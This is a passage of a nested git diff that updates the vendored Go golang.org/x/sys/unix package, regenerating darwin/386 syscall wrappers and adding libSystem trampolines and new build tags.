-+ r1 = uintptr(C.lseek(C.int(fd), C.longlong(offset), C.int(whence)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func callmmap64(addr uintptr, length uintptr, prot int, flags int, fd int, offset int64) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.mmap64(C.uintptr_t(addr), C.uintptr_t(length), C.int(prot), C.int(flags), C.int(fd), C.longlong(offset)))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.go b/vendor/golang.org/x/sys/unix/zsyscall_darwin_386.1_11.go
-similarity index 85%
-copy from vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.go
-copy to vendor/golang.org/x/sys/unix/zsyscall_darwin_386.1_11.go
-index 7a409745..c1cc0a41 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_386.1_11.go
-@@ -1,7 +1,7 @@
--// mksyscall.pl -tags darwin,arm syscall_bsd.go syscall_darwin.go syscall_darwin_arm.go
-+// go run mksyscall.go -l32 -tags darwin,386,!go1.12 syscall_bsd.go syscall_darwin.go syscall_darwin_386.1_11.go syscall_darwin_386.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build darwin,arm
-+// +build darwin,386,!go1.12
-
- package unix
-
-@@ -214,22 +214,6 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func utimes(path string, timeval *[2]Timeval) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -255,9 +239,9 @@ func futimes(fd int, timeval *[2]Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -366,8 +350,8 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-+func getattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
-+ _, _, e1 := Syscall6(SYS_GETATTRLIST, uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -388,6 +372,161 @@ func pipe() (r int, w int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func getxattr(path string, attr string, dest *byte, size int, position uint32, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_GETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(position), uintptr(options))
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fgetxattr(fd int, attr string, dest *byte, size int, position uint32, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_FGETXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(position), uintptr(options))
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setxattr(path string, attr string, data *byte, size int, position uint32, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_SETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(data)), uintptr(size), uintptr(position), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fsetxattr(fd int, attr string, data *byte, size int, position uint32, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSETXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(data)), uintptr(size), uintptr(position), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func removexattr(path string, attr string, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_REMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fremovexattr(fd int, attr string, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_FREMOVEXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func listxattr(path string, dest *byte, size int, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_LISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(options), 0, 0)
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func flistxattr(fd int, dest *byte, size int, options int) (sz int, err error) {
-+ r0, _, e1 := Syscall6(SYS_FLISTXATTR, uintptr(fd), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(options), 0, 0)
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
-+ _, _, e1 := Syscall6(SYS_SETATTRLIST, uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fcntl(fd int, cmd int, arg int) (val int, err error) {
-+ r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-+ val = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func kill(pid int, signum int, posix int) (err error) {
- _, _, e1 := Syscall(SYS_KILL, uintptr(pid), uintptr(signum), uintptr(posix))
- if e1 != 0 {
-@@ -408,6 +547,32 @@ func ioctl(fd int, req uint, arg uintptr) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := Syscall6(SYS_SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sendfile(infd int, outfd int, offset int64, len *int64, hdtr unsafe.Pointer, flags int) (err error) {
-+ _, _, e1 := Syscall9(SYS_SENDFILE, uintptr(infd), uintptr(outfd), uintptr(offset), uintptr(offset>>32), uintptr(unsafe.Pointer(len)), uintptr(hdtr), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Access(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -672,26 +837,6 @@ func Fpathconf(fd int, name int) (val int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstat(fd int, stat *Stat_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTAT64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fstatfs(fd int, stat *Statfs_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTATFS64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Fsync(fd int) (err error) {
- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -712,23 +857,6 @@ func Ftruncate(fd int, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETDIRENTRIES64, uintptr(fd), uintptr(_p0), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Getdtablesize() (size int) {
- r0, _, _ := Syscall(SYS_GETDTABLESIZE, 0, 0, 0)
- size = int(r0)
-@@ -930,21 +1058,6 @@ func Listen(s int, backlog int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Lstat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LSTAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Mkdir(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1229,8 +1342,9 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1375,36 +1489,6 @@ func Setuid(uid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Stat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_STAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Statfs(path string, stat *Statfs_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_STATFS64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Symlink(path string, link string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1598,6 +1682,33 @@ func writelen(fd int, buf *byte, nbuf int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall6(SYS_GETDIRENTRIES64, uintptr(fd), uintptr(_p0), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-+ _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func gettimeofday(tp *Timeval) (sec int32, usec int32, err error) {
- r0, r1, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tp)), 0, 0)
- sec = int32(r0)
-@@ -1607,3 +1718,94 @@ func gettimeofday(tp *Timeval) (sec int32, usec int32, err error) {
- }
- return
- }
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstat(fd int, stat *Stat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTAT64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT64, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatfs(fd int, stat *Statfs_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTATFS64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getfsstat(buf unsafe.Pointer, size uintptr, flags int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_GETFSSTAT64, uintptr(buf), uintptr(size), uintptr(flags))
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Lstat(path string, stat *Stat_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_LSTAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Stat(path string, stat *Stat_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_STAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Statfs(path string, stat *Statfs_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_STATFS64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_386.1_13.go b/vendor/golang.org/x/sys/unix/zsyscall_darwin_386.1_13.go
-new file mode 100644
-index 00000000..e263fbdb
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_386.1_13.go
-@@ -0,0 +1,41 @@
-+// go run mksyscall.go -l32 -tags darwin,386,go1.13 syscall_darwin.1_13.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build darwin,386,go1.13
-+
-+package unix
-+
-+import (
-+ "syscall"
-+ "unsafe"
-+)
-+
-+var _ syscall.Errno
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func closedir(dir uintptr) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_closedir_trampoline), uintptr(dir), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_closedir_trampoline()
-+
-+//go:linkname libc_closedir libc_closedir
-+//go:cgo_import_dynamic libc_closedir closedir "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func readdir_r(dir uintptr, entry *Dirent, result **Dirent) (res Errno) {
-+ r0, _, _ := syscall_syscall(funcPC(libc_readdir_r_trampoline), uintptr(dir), uintptr(unsafe.Pointer(entry)), uintptr(unsafe.Pointer(result)))
-+ res = Errno(r0)
-+ return
-+}
-+
-+func libc_readdir_r_trampoline()
-+
-+//go:linkname libc_readdir_r libc_readdir_r
-+//go:cgo_import_dynamic libc_readdir_r readdir_r "/usr/lib/libSystem.B.dylib"
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_386.1_13.s b/vendor/golang.org/x/sys/unix/zsyscall_darwin_386.1_13.s
-new file mode 100644
-index 00000000..00da1ebf
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_386.1_13.s
-@@ -0,0 +1,12 @@
-+// go run mkasm_darwin.go 386
-+// Code generated by the command above; DO NOT EDIT.
-+
-+// +build go1.13
-+
-+#include "textflag.h"
-+TEXT ·libc_fdopendir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fdopendir(SB)
-+TEXT ·libc_closedir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_closedir(SB)
-+TEXT ·libc_readdir_r_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_readdir_r(SB)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_386.go b/vendor/golang.org/x/sys/unix/zsyscall_darwin_386.go
-index 10491e9e..a3fc4900 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_darwin_386.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_386.go
-@@ -1,7 +1,7 @@
--// mksyscall.pl -l32 -tags darwin,386 syscall_bsd.go syscall_darwin.go syscall_darwin_386.go
-+// go run mksyscall.go -l32 -tags darwin,386,go1.12 syscall_bsd.go syscall_darwin.go syscall_darwin_386.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build darwin,386
-+// +build darwin,386,go1.12
-
- package unix
-
-@@ -15,7 +15,7 @@ var _ syscall.Errno
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func getgroups(ngid int, gid *_Gid_t) (n int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETGROUPS, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_getgroups_trampoline), uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -23,20 +23,30 @@ func getgroups(ngid int, gid *_Gid_t) (n int, err error) {
- return
- }
-
-+func libc_getgroups_trampoline()
-+
-+//go:linkname libc_getgroups libc_getgroups
-+//go:cgo_import_dynamic libc_getgroups getgroups "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func setgroups(ngid int, gid *_Gid_t) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETGROUPS, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setgroups_trampoline), uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setgroups_trampoline()
-+
-+//go:linkname libc_setgroups libc_setgroups
-+//go:cgo_import_dynamic libc_setgroups setgroups "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) {
-- r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_wait4_trampoline), uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
- wpid = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -44,10 +54,15 @@ func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err
- return
- }
-
-+func libc_wait4_trampoline()
-+
-+//go:linkname libc_wait4 libc_wait4
-+//go:cgo_import_dynamic libc_wait4 wait4 "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_ACCEPT, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_accept_trampoline), uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -55,30 +70,45 @@ func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
- return
- }
-
-+func libc_accept_trampoline()
-+
-+//go:linkname libc_accept libc_accept
-+//go:cgo_import_dynamic libc_accept accept "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
-- _, _, e1 := Syscall(SYS_BIND, uintptr(s), uintptr(addr), uintptr(addrlen))
-+ _, _, e1 := syscall_syscall(funcPC(libc_bind_trampoline), uintptr(s), uintptr(addr), uintptr(addrlen))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_bind_trampoline()
-+
-+//go:linkname libc_bind libc_bind
-+//go:cgo_import_dynamic libc_bind bind "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func connect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
-- _, _, e1 := Syscall(SYS_CONNECT, uintptr(s), uintptr(addr), uintptr(addrlen))
-+ _, _, e1 := syscall_syscall(funcPC(libc_connect_trampoline), uintptr(s), uintptr(addr), uintptr(addrlen))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_connect_trampoline()
-+
-+//go:linkname libc_connect libc_connect
-+//go:cgo_import_dynamic libc_connect connect "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func socket(domain int, typ int, proto int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SOCKET, uintptr(domain), uintptr(typ), uintptr(proto))
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_socket_trampoline), uintptr(domain), uintptr(typ), uintptr(proto))
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -86,66 +116,101 @@ func socket(domain int, typ int, proto int) (fd int, err error) {
- return
- }
-
-+func libc_socket_trampoline()
-+
-+//go:linkname libc_socket libc_socket
-+//go:cgo_import_dynamic libc_socket socket "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func getsockopt(s int, level int, name int, val unsafe.Pointer, vallen *_Socklen) (err error) {
-- _, _, e1 := Syscall6(SYS_GETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(unsafe.Pointer(vallen)), 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_getsockopt_trampoline), uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(unsafe.Pointer(vallen)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getsockopt_trampoline()
-+
-+//go:linkname libc_getsockopt libc_getsockopt
-+//go:cgo_import_dynamic libc_getsockopt getsockopt "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func setsockopt(s int, level int, name int, val unsafe.Pointer, vallen uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_SETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(vallen), 0)
